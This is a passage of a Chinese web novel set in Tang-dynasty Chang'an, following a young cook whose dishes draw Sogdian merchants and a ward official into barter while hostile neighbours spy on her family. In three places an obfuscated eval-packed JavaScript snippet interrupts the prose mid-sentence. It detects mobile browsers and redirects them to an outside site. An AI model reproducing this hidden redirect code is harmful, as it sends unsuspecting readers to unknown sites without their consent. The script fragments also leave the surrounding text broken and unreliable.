白氏拎着篮子的手往前动了动,似是想要接过来,但比她动作更快的是身旁卢娘子的话语:“老天爷啊,我竟然瞧见了价比黄金,不,比金子还要金贵的胡椒。” 白氏瞳孔微张,手一转,紧紧抓住竹篮。 这价比黄金、当家提及时羡慕的眼神、在主家宴席上惊鸿一瞥的珍宝,差点引得她忘了家里现下的处境。 卢娘子激动的情绪还未下去,一把手抓住白氏的胳膊,朝着韦德不确定问:“只要愿意将这竹篮里的食物给你们,你们就愿意用胡椒换?”童家做的食物是很诱人,但值得胡商用胡椒换吗? 韦德点头,努力将手往前伸,也让白氏和卢娘子对他手心之物看得更真切了。 绝对是胡椒! 是哪怕是黑心商人都不敢假冒的胡椒! “少爷!”哈维脸色骤变,急声用粟特语低喝,额角青筋都迸了出来,下意识用身躯挡住他,“不可!”又朝两位妇人用长安话笑道:“我们家少爷年岁尚小,说的话语不可当真”这可太贵重了! 这几粒上好的胡椒,可换来一斤上好的茶叶,再倒手卖到西亚能换来好几块金币…… 金币啊金币,他心尖都在滴血! “哈维!”韦德少爷脾气上来,蓝眼睛瞪得滚圆,不管不顾地将手又往前一杵,几乎戳到白氏鼻尖,执拗地重复:“换!就换一点!”浓郁的、独一无二的肉香混合着奇异的酒糟醇香,如同魔咒般箍紧了他的胃。 这是他从未闻到过的香味,他就要吃! 白氏被少年莽撞的动作惊得后退半步,‘她’做的菜虽香味诱人,但也不过是些贱价的鸡肉和萝卜! 但这胡商小少爷却愿意用价比黄金的胡椒换。 她竭力维持着声音的平稳,却带着不易察觉的颤抖:“郎君手中之物太过金贵,实非寻常吃食可换。”眼见着对面那少年面上的失望神情,她继续道:“少爷真心想吃,或容奴家与家人商议个章程,半个时辰后,请到巷子最东头那户寻我们。” 她目光飞快扫过心疼的哈维和势在必得的韦德,将竹篮不容分说地塞给犹自震惊的卢娘子,“嫂子,趁热给家里尝尝。碗篮我晚些来取。”说罢,抱着四郎,几乎是逃也似的转身,脚步虚浮却异常坚定地朝童家小院奔去。 巷子里骤然安静下来,只余下那霸道香气无声弥漫。 卢娘子拎着竹篮,看看一旁的胡商,又望望童家紧闭的院门,眼神复杂得如同打翻了染缸。 这童家小娘了不得啊!看来得让三娘多走动了。 巷子最深处,陈家那扇始终沉默的黑漆木门,门缝里似乎有阴影,极轻微地晃动了一下。 * 童家灶屋 南边靠墙摆放的四方木桌上碗筷早已摆好,灶台上依次摆放着两个大碗,上面用浅口碗盖着,以免热气扩散。 这木桌是童家唯一剩下的桌子,但随着白日里灶膛时常烧柴而让整个灶屋成了家里最暖和的地方,现下家里人白日都爱聚在灶屋里。 不为别的,只为能升一升温,促进家里的酸腌菜和酱油发酵。 这会儿,童白正弯腰检查着酸腌菜坛子的情况,听到仓皇而又急促的敲门声,她立马起身,安抚地压下二郎的肩膀,跑去了院门处。 靠近院门后,“阿娘?”试探地轻声询问。 “嗯,是我。”白氏强压镇定的声音响起。 童白取下门闩拉开大门,就瞧见了白氏的身影,快速扫视一圈,没发现什么问题,便将门关上,不经意地撇了眼对门陈家。 一如既往地大门紧闭。 随着白氏进来灶屋,二郎将早已盛好的饭菜往木桌上端,白氏边轻抚着怀中睡得香甜的四郎,边在桌边坐下。 等家里人都坐在桌旁,童白才问:“阿娘,可有何不对的?”她在余家的时候没听到外面有何不对的动静,回到家里,灶膛木柴噼啪响,更是没关注巷子里的事。 白氏深吸一口气,直接开始讲述,语速稍快,带着后怕和激动讲述了适才发生的事情。 童白用汤匙给几人碗中舀汤,面无表情地听着白氏的话语。 二郎和三娘你看看我我看看你,不敢有什么动作,眼睛盯着自己面前的碗,见到里面白黄相间的干饭,一时间也没心思想别的。 直到白氏说了句:“你们先吃吧。” 俩人就像是接到了号令的兵士一般,用木勺开始吃起来。 白氏看向童白,等着她的反应。 童白眼底掠过一丝精光,“价比黄金的胡椒……”她低语,随即抬头,目光坚定,“阿娘做得对!现在接,是祸非福。”她放下汤匙,“半个时辰后,若他们真找上门,我们得想好怎么应对。既要不得罪这胡商,又不能真收下那烫手的胡椒,最好还能让他们心甘情愿拿出点我们能用的东西交换。” 胡椒,在这大唐不仅是香料,更是硬通货、敲门砖! 但这是针对权贵、富户人家。对于他们家来说,那只会是催命符。 胡商既然对她做的美食好奇,她也不能放过这个机会。若能借此搭上胡商线,或许能找到更多稀缺调料,所以,她必须沉住气。 白氏听到她话语中的肯定,又仔细观察了对方的神色,见并不是心口不一的安抚,这才放下心来。 怎么说呢,她现在是想明白了。这个家,要想不散、要想在这长安城活下来,还是得靠‘她’,自己语气拧巴着,不若真心与‘她’合作。 “吃吧,阿娘,这鸡肉和萝卜炖的刚刚好,香的很!”童白不知道白氏心中所想,不过却是催促她吃饭,“趁热吃,更好吃。”说着,夹了一块鸡肉进嘴里。 微酸的酒糟经过大火烹饪后变成了醇香,虽然因为没放枸杞和红枣,让口感的丰富程度上略微欠缺,但正是因为没有添加这些,反而更显出了鸡肉的原汁原味。 鸡肉软嫩又不失弹性,萝卜软烂入味,哪怕是牙口不好的人吃着都不觉得困难。是前世工业化养殖鸡永远无法企及的美味。 吃之前,白氏还能跟童白说上几句话,食物入嘴后,她根本顾不上说话,一门心思的咀嚼吞咽,再来一口。 童家人吃的肚饱,但这条巷子里的其他家就苦了。 对门的陈家便是首当其冲。 他们家离童家最近,那一股子香味闻的最为清楚。 “老大,我介就去童家,”口水吸溜地作响,话语都含糊起来,“大人那边决定动手也是这两日。”提前点又有何关系。 被他称呼为老大的黑脸汉子猛地瞪他一眼,压低声音厉喝:“噤声!忘了规矩?忍不了就滚去后院劈柴!动静大点!” 这也行?! 一墙之隔的余家,刘婶子凑上前使劲嗅了嗅,没想到却更加馋了,好在她意志力坚定,果断抽身,再盖上一个瓦碗,将香味全部隔绝在碗中。 没多远的谢家灶屋,灶膛里的火苗疯狂燃烧,铁板之上摊放着整齐地洒满胡麻的胡麻饼,随着温度上升,胡麻香味渐渐扩散,胡麻饼也随着温度而变的表皮焦脆。 不过这香味没留住韦德,韦德正在装满货物的西厢房内,东找找西看看,哈维站在门框处,一脸苦瓜像,“少爷,咱们这货物都是要售卖的,你这么翻找,要是……” 韦德听到这话,动作一顿,转身看向哈维,“那你来,找一些对方愿意收下的,我要去换吃的, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16166625|178855||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 快点!”胡椒过于金贵,哈维不愿意,对方也不愿意,那他就找一些更合适的。 要大钱他们不多,但是要说货物,他们可真不少。香料、镶金带银的异域器皿,也不知道那家人会更喜欢哪一种。 哈维:“……” 这少爷啊,可真是会给他找事啊! 巷口的吴家,这会儿吴三娘正蹲在菜地里,嘟着嘴,一脸的不高兴。 卢娘子在灶屋里忙活开来,看了眼童家送来的菜,倒入了自家一个镶着金丝花边的瓷碗中,没盖盖,放到碗橱里,再插上插销。 抓了把草木灰用水将童家的碗洗干净,放入竹篮里,手拎着去到院子里,放在靠近院墙处的大石头上,“你一会儿去童家还这个,顺带多跟那童小娘子说几句话,你们年龄相仿,多接触接触没坏处。” 这要是之前的童小娘子,她肯定会拘着自家三娘别沾惹那边,但现在的童小娘子,既聪慧又有手艺,还得了崔家那边的青眼,女儿多接触接触,肯定没坏处。 “我不去。”嘟着嘴,吴三娘拒绝道,“她家香喷喷的,我怕去了口水忍不住流下来,丢人。” “你!”卢娘子可没想到她会这么说,瞪着眼看向吴三娘,苦口婆心道:“你以为阿娘不想吃?但是明日是你姥娘的大寿,这么些年来,你父兄一直在外打战,家里全靠着你舅舅帮忙,才撑下来的,你这孩子,怎么就想不明白呢!” 吴三娘倒也知道舅舅这些年对自家的照看,“您准备了那么多的黄金油渣蒸饼,大舅家也不差这一点萝卜和鸡。再说,您就算把一整只鸡送过去,我大舅母也是鼻子不是眼的。而您就算不送蒸饼,不送鸡,我大舅和姥娘也不会嫌弃你半分。” 别看她年纪小,在长安城里最乱的时候,她跟阿娘俩在大舅家住了一年,对大舅家的情况了解的很。 “你知道你大舅和姥娘的好就成,”卢娘子见女儿心里明白,心里也欢喜,小声将自己的打算说了出来,“但咱们省了这一口,却是让你大舅和姥娘尝一尝这胡商愿意用胡椒换的吃食,”想到刚才见到的那一幕,要不是亲眼所见,她都不会信,“这样也算是帮着童家宣扬下手艺,也让她们记下咱家的好,回头……” 见女儿从不明就里到恍然大悟,她笑着隔空点了下。 * 张勇才回到崔府偏院,喝了杯茶歇了口气,便见元郎小小的人儿朝自己这走来。 他笑着招招手,示意元郎无需那么守礼的一步一步走,完全可以跑步前进。 但元郎一如既往地,踏着不快不慢的步伐走到张勇面前,行了礼后,才凑上前,趴在张勇耳边,说了几句话。 小孩的手压在张勇的肩上,才能稳住踮着脚尖的身躯。等到话语说话后,反倒是张勇的身子快速颤了颤。 “此事可真?”张勇反射性问道。 问完后才发现对方只是个不大的孩子,能知道什么呢! 可没成想,这孩子还真知道。 “嗯,”元郎点着头,一脸严肃道:“我当时正在侧门小道上玩,正好便瞧见了……” 张勇脸上的笑容瞬间冻结,握着茶杯的手猛地一紧,指节泛白,“溪娘子?主院夫人身边的?”他声音陡然压低,带着难以置信的寒意,“你看真切了?她在垂花门见的洒扫小厮?” 元郎点头。 张勇拍怕元郎的小肩膀,赞许道:“元郎做的很好,我知道了,你先回去吧,这事……谁也不要说。” 元郎点点头,躬身行礼后退着出了门,再转身出去。 张勇起身,面色凝重地在房内来回踱步,拳头松了又紧。 不行,这事,必须得跟十九爷说! 39. 怕不是池中物 约莫半个时辰后,童家院门外响起了三声克制而清晰的叩门声。 “邻家娘子,我等是暂居巷内谢家的行商,依约前来叨扰。” 十分具有辨识度的、带着异域音调的声音隔着门板传进灶屋里,让坐在桌前的白氏浑身一凛,还没等她做出反应来,对面的童白起身,踏着坚定的步伐朝院门处走去,“来了,来了,稍等一下。” 就连声音都是那么的冷静自持,白氏仓皇的眼神扫过身旁的二郎和三娘,这会儿二郎和三娘都没有起身,然而脸却是一直朝向院中,白氏见他们这般,张嘴想说些什么,很快又闭上嘴,一言不发,只无意识地抚摸着怀中睡着的四郎的襁褓。 院子里,童白才拉开院门,还没来记得开口,一抹矮小的身影,嗅着味儿直接进来院里,那模样就跟前世狗狗闻嗅着味道去找食物的动作太像了。 韦德嗅着味儿看向了灶屋那处,眼睛一亮,腿才抬起,就听到一声轻咳,又缩了回来,用手摸了摸鼻尖,将注意力移回到哈维和主人家身上。 “小娘子,再次见面了,你不用害怕,我们是来谈那买吃食之事,”哈维尽力用温柔的声音,这小娘子正好就是之前在巷口遇到的那一位,当初这小娘子见到他,脸色惨白,“劳烦你喊爹娘来。” 童白看向眼前的男子,故作坚强道:“家里阿娘在照顾弟弟妹妹,跟我谈就是。” 哈维眉头微蹙,“这……小娘子可能做主?”他心下顾虑,怕与孩童说定,待其父母归来又生变故。 一旁的韦德早已按捺不住,抢过话头,蓝眼睛里满是急切:“我们就想换你家那喷香的吃食!方才巷口的婶子说了,来找你家准没错!”他那带着浓重异域腔调的话语又快又急。 他可不管哈维是什么个想法,不进来这家就算了,进来后,那食物的香味越发浓郁,勾得他一刻都不愿多等待。 买?童白垂下眼帘,视线却忍不住往院门口那边瞧了眼,嘴里却道:“两位,我们家不卖吃食,若是你们不嫌弃,倒是可以送上一点尝尝。”童白现在根本不敢留下话柄给别人。 她这话一出,哈维紧锁的眉头,反倒是松开了,一把拉住张嘴想要说话的韦德,笑道:“瞧我这话,是的,不是买,是送,是送。”说着眼神也不由朝巷子里瞧去。 他在这长安城待了不小段时间,对这里的制度甚是了解,自然是知道坊间不让买卖商品,食物,也是商品。 “正好,我们也带来了些礼品,”说着,从挎在身上的布包里拿出个深黑色的木盒,在童白面前打开,“这里面是我们这趟带来的一些货物,还请笑纳。” 童白眼神不由被盒子里两粒长卵形滴乳状的黄白色物体所吸引,这! 乳香! 乳香虽比不上胡椒金贵,却也是制作香薰和药材中极其珍贵的东西。谁家为了口醪糟鸡就送这么名贵的东西,不对,别人不会,粟特人还真说不准。 想着上一世研究唐朝美食时看过的一些纪录片,以及结合原主的记忆,童白突然就开悟了,难怪白氏说,为了口吃的,就连与金片同等价值的胡椒粒都能给出几粒,这可不谓不是大手笔。 童白摆手,“这个礼物实在是太贵重了,奴不敢收。”可惜,她也只能是过过眼瘾。 哈维瞧见面前这小娘子一脸想要却又不敢要的模样,心倒是放下来了,将盒子收起来的时候还看了韦德一眼。 适才来这边前,他就劝过韦德少爷,这乳香是好,也比胡椒价位低一点,但这家人既然不敢收胡椒,自然也是不敢收乳香。 少爷偏不信。 这下好了吧,该信他的话了吧。 直到瞧见韦德少爷嘴角下撇,哈维才又从袖中掏出块一块巴掌大小、色泽鲜艳绚丽的织物来。 这是他们家乡的织物,虽比不得胡椒和乳香的名贵,却也是不可多得的带有粟特人风格的货物。 乳香和胡椒固然好,但他们也想开拓更多的市场。 见童白一脸疑惑,哈维解释道:“这个是我们家乡的毛织品,羊身上的毛染色编织而成,别看这一块不大,”哈维视线在院子里转了一圈,院子里光秃秃的,只有几个陶瓮正敞着口在阳光下晾晒,他一指那边,“可以换来那边那样的陶瓮二十个呢。” 这是他的习惯,当顾客无法领会到自家货物的价值时,他习惯用顾客能明白的价值进行换算。 童白顺着他的手指看过去,就见那装着酸腌菜和酱油的陶罐,脑子虽然清楚他这话说的是因为并不知道那陶瓮里装的东西的价值,但心里还是难免有些不舒服。 哼!二十个陶瓮。 他想换,她还不给呢! 她这一迟疑,韦德却是等不及了,从哈维手心拽过这个织物,一股脑往童白手上放,“一份那个食物就成!这个就是你的。” 童白:…… 哈维:…… * 翌日天还没亮,童家的烟囱冒起了白烟。 五十个蒸饼,并不算多,童爹当初买的烧水的陶瓮不小,一层蒸屉放十五个,坐了大半瓮的水,灶上大火烧开,中火开蒸,因着白菜好熟,油渣又是熟馅,一刻钟的功夫,便蒸好了。 赶着热乎,白氏帮着干净布巾的手帮着将做好的蒸饼摊开放入铺放着布巾的簸箩里。 童白则是给瓮里添了点水后,将余下的蒸饼继续放上去蒸。 想着付坊吏的一份,索性一起做了,但食材用的是自家的,并没有占卢婶的便宜。 要不说厨子怎么都亏不到嘴呢,只要有人请帮忙,刀稍微割少一点,就能昧下进自己的嘴里。 不过童白不愿做这个事,倒不是说她道德有多高尚,只是像蒸饼这种十分普遍的食物,这些常在炉灶边打转的婶子们心里稍一掂量便能将所用材料估摸个七七八八。 她不愿因这点小利损了信誉。 两锅蒸好,趁着还热乎着,童白领着二郎踏出院门。 此刻天边泛起了鱼肚白, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“还是点点吧,我出门前阿娘专门叮嘱我的,两家关系好归关系好,但人情归人情,数目要分明。”童白坚持道。 二郎的身影隐在童白身后,眼光闪了闪,他发现自家阿姊很喜欢在外拿阿娘来说话,其实阿娘什么都没说。 “瞧你这话说的,还怪押韵的,”卢娘子顺着她这话,掀开盖在竹篮上的絮布,就着晨光,大致点了点,其实这竹篮上了手,她便知道童家这事办的挺实诚的,“好了,是这么多。”目光扫过侧身站在童白身后的二郎一眼,瞧见了他抱在怀中的小竹篮,上面也盖着块絮布,好奇道:“你们这是给谁送去?” 童白顺着她的视线看去,十分自然地说:“哦!昨儿个我们去北坊门那找胡叔时正好遇到东坊门的付坊吏也在,这蒸饼,也给他送点去。” 说到此,童白抬头望了望天,着急道:“婶子,先不跟您说了,我们着急去东坊门那。”她特意挑了比开坊门早一点的时间过去,时间可耽误不得。 都这样说了,卢娘子自然不留她,只不过关门时,瞧着姐弟俩的背影出了神,直到收拾妥帖的吴三娘出来喊了她一声,才回过神。 掩上院门,卢娘子挎着竹篮,拉过女儿,低声叮嘱:“三娘,等你吃了姥娘的寿酒回来,多去寻童家小娘子走动走动,与她交好,准没坏处!”她心下暗忖:这童小娘子,不止有崔家的贵人关照,又不动声色地就搭上了胡商,连坊吏都对她另眼相看,将来怕不是个池中之物。 40. 暴风雨前的平静 天色将明未明,晨雾稀薄,童白一手紧拽着衣襟抵御寒风,一手接过二郎怀里的小竹篮。姐弟俩挨得紧紧的,沉默地快步走向东坊门。 抵达石屋时,因离坊门开还有段时间,四周空无一人。 童白上前轻叩门扉,随即退后两步,低声道:“大人,给您送蒸饼来了。”声音虽轻,却在寂静的清晨格外清晰。 “稍等。” 屋内传来窸窣响动,片刻后,门“吱呀”一声开了。付坊吏一边整理着颈间的盘扣,一边侧身让开:“进来说话。” 童白垂下眼,拉着二郎进屋。一股混杂着汗气、烟味与陈旧木头的气息扑面而来。她将竹篮置于桌上,便又退至门边,恭敬道:“大人,篮子里是六个黄金油渣蒸饼。” 付坊吏就着门外透进的微光,打量着眼前这对姐弟。身形瘦小,面有菜色,一身粗麻衣,与这长安城里无数贫家子弟并无二致。唯独那小姑娘的眼神,清亮中透着股机警,不像寻常愚钝村姑。 “嗯,”他应了一声,走到屋角摸索片刻,拿出一个巴掌大的陶罐,递过来,“喏,说好的以物换物,麦蜜。” 童白目光触及那陶罐,心头一跳。 麦蜜?便是那麦芽糖!! 她正缺这个!糖在此时可是金贵物,六个蒸饼断然换不来。 见她迟疑,“谁说我这只换这一次了?”付坊吏一副你赚到了的表情,嘴里嘟囔道:“这麦蜜可是好物,这六个蒸饼就算是王母娘娘宴席上的蒸饼,也换不来这么一罐,”摸了摸下巴上新长出来的胡茬,“八次,不,十次吧,往后再按今日的量,给我送十次蒸饼。” 他心下算盘打得噼啪响,这童家蒸饼滋味实在好,这般换法,他虽略吃亏,却也换了个长久痛快。 童白瞬间明了。十一次,共六十六个蒸饼,价值约九十九个大钱。 只要罐子里的麦芽糖有一斤,便是能换。 但哪怕不够一斤,却得了糖这稀罕物,且能结交坊吏,也算值得。 她不再犹豫,伸手接过陶罐,入手沉甸甸的,心下稍安:“谢大人,后日卯时,必准时送到。” 付坊吏自不知童白心中这番计较,掀开絮布,瞧见一个个白花花又透着黄金油渍的蒸饼,心下一喜,拿起竹篮边上的桑皮纸装好,才放入怀中,付坊吏迫不及待咬了一大口,吃得啧啧赞叹。 童白这次做蒸饼时多放了好几勺的猪油,口感比起上回的更加好。 一口下去,每一块白菜上都裹满了猪油,加上焦香的猪油渣,付坊吏满足地眯起眼,含糊摆手:“行了,你们回去吧,将竹篮拿上,后日还是这个时间点过来。” 不待童白动作,机灵的二郎已跑上前拎起了空竹篮,还像模像样地行了个礼。 等童家姐弟往回走时,坊间多了不少路人,行色匆匆地朝东南西北四个方向而去。 童白看似随意地四下张望,实则警惕着是否有人尾随。观察片刻,未见异常,心下稍定。 刚回到双梧巷口,便见吴家院门开着,卢娘子正手忙脚乱地想锁门,两只胳膊上挂满了沉甸甸的食盒,吴三娘在一旁提着鸡鸭,无从帮手。 “婶子,我帮您。”童白快步上前,利落地帮她把锁扣上,又将钥匙放入她手中。 “哎哟,可多谢你了,童小娘子!”卢娘子松了口气,笑容满面。 “婶子客气了。”童白笑道,看了眼她们手上的东西,“您这可真是孝心满满。” 卢娘子听得舒坦,笑道:“娘家待我好,自然要念着些。”她压低了声音,目光扫过食盒,“等婶子回来,就给你寻那手艺好的瓦工匠。若还有那等好事,少不了你的。” 童白心领神会,福身一礼:“那侄女便先谢过婶子了。” 目送卢娘子母女离去后,童白才与二郎转回家。路过谢家,听得院内骆驼响鼻;行至余家,正碰上刘婶子一家开门出来。 双方打了个照面,其中正有那日撞倒童白的少年。少年瞧见她,立刻低下头,快步走开。二郎不满地瞪了那背影一眼。 童白只当不见,对刘婶子道:“婶子,正想寻您。昨日说的糟粕和鸡,现在可方便?” 刘婶子也是个爽利人,虽眼热胡商的买卖,却有自知之明,知晓关键在童白的手艺,便歇了心思,痛快道:“方便,随我来看看糟粕。” 最终,童白用四十文买下四斤糟粕和一只三斤多的公鸡。她拎着东西回家,关院门前,目光习惯性地投向对门陈家。 院门紧闭,悄无声息,静得令人心头发憷。 这份过于的平静,反而像一块石头压在她心上,透着说不出的蹊跷。 关上院门、落下门闩,白氏拉着童白回了灶屋。 外面寒风瑟瑟,屋内比起外面,体感舒服不少,被寒风冻得发痛的鼻尖都舒适不少。 才进来,白氏看向童白:“怎么样?”她俩出门后,白氏一会儿趴在院门上听巷子里的动静,一会儿回来擦擦蒸屉、摸摸灶台,心里一直惴惴不安。 “都送到了,付坊吏用一罐麦蜜定下后续十日的蒸饼。”童白将鸡扔到灶屋角落,脚脖处被绑着,这只鸡也蹦跶不起来。 二郎小心捧着陶罐,放在碗橱前,白氏瞧了眼那罐子,欢喜道:“还挺好,”很快又问,“那,有人跟着你们吗?” 二郎也看向童白,童白摇头:“没,我瞧对门的陈家也没得动静。” 白氏轻舒一口气,缓缓道:“我适才也透过门缝瞧了瞧对门,没动静。”眼睛转了转,问:“是不是对门只是好奇?”直到崔府有个玉娘盯着自家就很糟心了,没想到还有个对门的陈家,她昨夜连睡觉都睡不安稳。 童白隐约在白氏眼下看到了一片青黑,也知道她的担忧,但却还是实话实说道:“不像,那陈家人,要是好奇,不该在咱家搬入这里时便好奇吗?再说,除了打量,我还感受到了恶意。” 要说童家搬来这双梧巷,深居简出的,可以说孤僻不擅交际,但要说跟人结下仇怨,却是没有的。 再说,童爹是校尉,以时下百姓的民不与官斗思想,别说供着童家,普通民户说不上巴结,却也不可能明面着得罪童家,所以童白觉得,陈家背后肯定还有人,而那人的背景或者跟自家爹相当,并不是权贵之家,又或者是权贵家的奴仆之类。 毕竟,在这阶级制的长安,权贵想要对童家出手,何需如此麻烦。 童爹再能耐不也不在家,而崔府再厉害,也只是旧主而已,现在都还没直接出手,必然是有原因的。 但那边裹足不前的时候,便是自己积极搞好关系的时候,也没别的想法,就为能活下来。 十九爷那边暂时没有动静,她也不着急。只要她办好了十九爷交代的差事,体现出价值来,何愁得不到十九爷的庇佑。 想到此,童白说着今日的安排,“阿娘,一会儿咱先烧好醪糟鸡,赶在半上午的时候,给胡商送去,”昨日那胡商就想吃,只不过那会儿家里没有原材料,只能往后延,“卢婶子说晚点她回来便帮我去找瓦工师傅砌炉灶,我想今日去趟西市,买些食材回来,做好了便去找张勇军士。” 上回去崔府没见到张军士又如何,她可以再去几次,有求于人的时候,殷勤点没毛病。 “找张军士?”白氏犹豫道,万一张军士不愿见自家呢,万一那玉娘又为难她呢,“万一……见不到呢?” 童白眨着眼,眼神清澈:“没那么多万一,去一次见不到就去两次,两次不行就三次……”眼见着白氏眉头越皱越紧,童白声音坚定:“再说,十九爷还要试吃甜点呢,怎么可能一直见不到。”虽说十九爷位高权重,未必真把他们这点小事放在心上,但既然发了话,总是一线希望和借口。 对哦,还有这个。 白氏像是注入了活力的木偶,神情立马舒展开来,“好,正好灶膛上的水是新坐的,这就烧开来。” 她这话才出,那边二郎就蹲在了灶膛前,放了几根柴火进去,白氏掀开陶瓮盖,童白则是拿着菜刀在瓦碗下磨起来。 脑中想着,究竟是做荷花酥还是做蛋挞,又或者做点别的西式甜点? 又或者,等一会儿去西市,瞧见有什么合适的食材,再来想做什么。 一个半时辰后,昨日在童家出现的香味又充斥在整个巷子里。 余家院子里,刘氏正在给鸡崽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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最后一个醒来的是韦德,睁着眼呆愣地看着窗格处,还是半睡半醒间,嘴里咕哝道:“我最近乖的很,父亲干吗将我关了起来,”眨了眨眼,转头又睡过去,但很快,质疑道:“不对,家里的窗户可不是这灰不拉几的木窗。” 腰部一个用力坐了起来,厚重的羊皮被从他脖颈处往下滑落,冷空气瞬间来袭,冻得他白瓷般的肌肤上长出了密麻麻一片的鸡皮疙瘩,他赶忙蜷缩进羊皮被中,思绪也清明了。 对哦,他偷了父亲最爱的蓝钻瑟瑟跟马商换他们培育的良驹,父亲知道后,罚他随着哈维来大唐…… 打了个哈欠,韦德将头从羊皮被中伸出来,立马就闻到了空气中弥漫着的香味,就跟昨日的一模一样,不,好像更香一点,他的肚子也因为这香味而发出‘咕噜咕噜’的声音。 哇!那家大娘做好吃的了! 也顾不得寒冷,韦德抻着脖子喊道:“哈维,哈维,布料呢?我要用布料换吃的!” 喊声才落下,哈维高大的身影便出现在房门的桑皮纸上,“韦德少爷,了延这会儿正在烧火煮羊奶,您起来后喝了香喷喷甜滋滋的羊奶后,那边的美食应是也送过来了。”他心里清楚,今日这鸡,哪怕没有布料也能吃到,“等午时西市开市了,咱们就去买布料。” “好!”韦德兴奋地应下声来。 很快,谢家的烟囱里也飘出了滚滚白烟,远远的与东北隅的童家相互呼应。 而夹在两家中间的,离童家最近的陈家,主屋里很快也有了动静,东屋里,一彪形大汉一脚踹到东南角的木床上,“陈大河,你个怂货,还不爬起来盯着对面,你不要以为你妹子怀上了许小旗的孩子就能怠慢贺爷的事,告诉你,要是办砸了这件事,阻了贺爷的前程……”就算你妹子这胎能生个十个八个的,也熄灭不了贺爷的怒火。 这一脚也成功的让躺在床上赖床的人睁了眼,狠厉的眼神在看清对方的身影后,立马变得谄媚,“大哥,我这不是昨夜就着那香味喝了二两黄汤,才睡过了头,这就起来,这就起来,您别气。” “哼!”那彪形大汉未多言语,直接出了东屋。 陈大河眼底的谄媚瞬间褪去,转为阴鸷,又很快隐在眼帘之下。 此时,童白在自家灶屋若有所感地看向陈家方向,心下莫名一悸。 41. 崔府来人 闻嗅着浓郁的香味,童白舀起一勺鸡汤轻吹几下,仔细品尝了下。 唔,越是简单的调料,越能凸显食材本真的滋味,粮食发酵的醇厚芬芳与鲜嫩甜美的鸡汤完美结合在一起。 香!香极了! 童白满意地点头,对蹲坐在灶膛前的二郎嘱咐:“二郎,我去胡商那儿叫他们来取陶瓮,火候保持现在这样就好,我快去快回。” 三斤多的鸡褪毛后约莫两斤出头,她又添了两根萝卜,加上汤水和陶瓮自身的重量,以及鸡汤的热度,绝非是童家人能送过去的。 二郎吸着鼻子,眼睛眨也不眨地盯着灶上咕嘟冒泡的陶瓮,心不在焉地应声:“嗯。”粉嫩的舌头无意识地舔过嘴唇。 童白瞧见他这副馋嘴又强忍的小模样,既觉好笑又心酸。 在上一世,这般年纪的孩子哪个不是被零食包围? 可原主记忆中的二郎,从未主动讨要过吃食。 在崔府时没有,脱籍搬来崇贤坊后更是如此。 她胡乱揉了揉二郎的脑袋,走出灶屋。视线不经意扫过主屋门口,又捕捉到两个正朝着灶屋方向悄悄咽口水的小家伙:一个扒着门框,一个窝在白氏怀中。 白氏见童白出来,忙开口:“你,这是要……咳咳……咳咳……嘶……去哪儿?”尽管极力克制,仍掩饰不住是被口水呛到的事实。 童白咬住下唇,用疼痛压下笑意:“鸡炖好了,我去谢宅叫他们来取。”说罢转身走向院门,拨开门闩,朝巷中走去。 目光不经意掠过对门陈家院门,那门缝里,透出些许微光。 竟没人在? 童白心下微沉。 谢家宅子位于双梧巷中段,距童家约四五十米。到时院门敞着,一群胡商或在院中洗漱,或给骆驼刷背,众人用粟特语谈笑风生。 童白立在门外,踌躇是否该打断他们。 很快,一名胡人汉子瞧见了门外的她,朝主屋喊了几声粟特语,便朝门边走来,用生硬的长安话招手道:“进,进来。” 童白虽没听清他那怪异腔调说的是什么,却明白手势含义。她向前几步,在门坎外站定,微微提高音量:“食物已烹制妥当,陶瓮沉重,需你们派人来搬。” 话音才落,主屋中走出两道人影。矮小的那个抢在前头,兴奋道:“真好了?可以吃了!” 后头那位轻咳一声,快步越过少年,朝童白拱手一礼:“某谢过童小娘子。”随即招呼方才那汉子:“西明,推上独轮车,随我们走一趟。” 胡商均未用早饭,腹中空空。越是往童家方向走,巷中香气越发浓郁诱人,勾得他们不住吞咽口水,声响之大,连车轮的辘辘声都未能掩盖。 哈维偷眼去瞧童白,却见这小娘子面色淡然,仿佛全然未觉,心下不由暗叹:这般年岁,处事却如此沉稳老练,倒不像寻常坊间女娘。 殊不知,童白并非未闻,只是全副心思都放在如何自然催促布料之事,以及留意巷中动静上了。她眼角余光始终扫视着两侧院门,尤其是愈来愈近的陈家。 很快,童白领着哈维一行人回到童家,才到院门处就见白氏站在门内,面色忐忑地向外张望。见到女儿身后跟着的胡人,她明显松了口气,忙将院门大开。 “快请进,陶瓮还在灶上温着。”白氏侧身让路,目光在哈维、西明和韦德脸上快速扫过,最后落在那辆独轮车上。 韦德早已按捺不住,几乎是跳着进了院子,直奔灶屋而去。哈维无奈摇头,示意西明将车停稳,自己则上前与白氏寒暄。 “有劳娘子费心,”哈维从怀中取出一个小布包,“这是里面是一些碎布头,娘子选出心仪的后告诉我,我好准备布匹。”这是昨日谈好后,他去找那合作过的商人要来的。 白氏接过布包,入手柔软细腻,迫不及待地打开,才打开到一半,停住了动作。脸上浮上几分赧色,她这般着急,可真是失礼。 好在,这会儿,除她以外的其他人的心思根本并不在她这,都被韦德的惊呼声吸引。 “好香!比昨日的还要香!” 哈维快步进到灶屋,就见韦德少爷已动手掀开陶瓮盖,热气腾空而起,混合着酒糟醇香与鸡肉鲜香的气息瞬间弥漫整个小院。 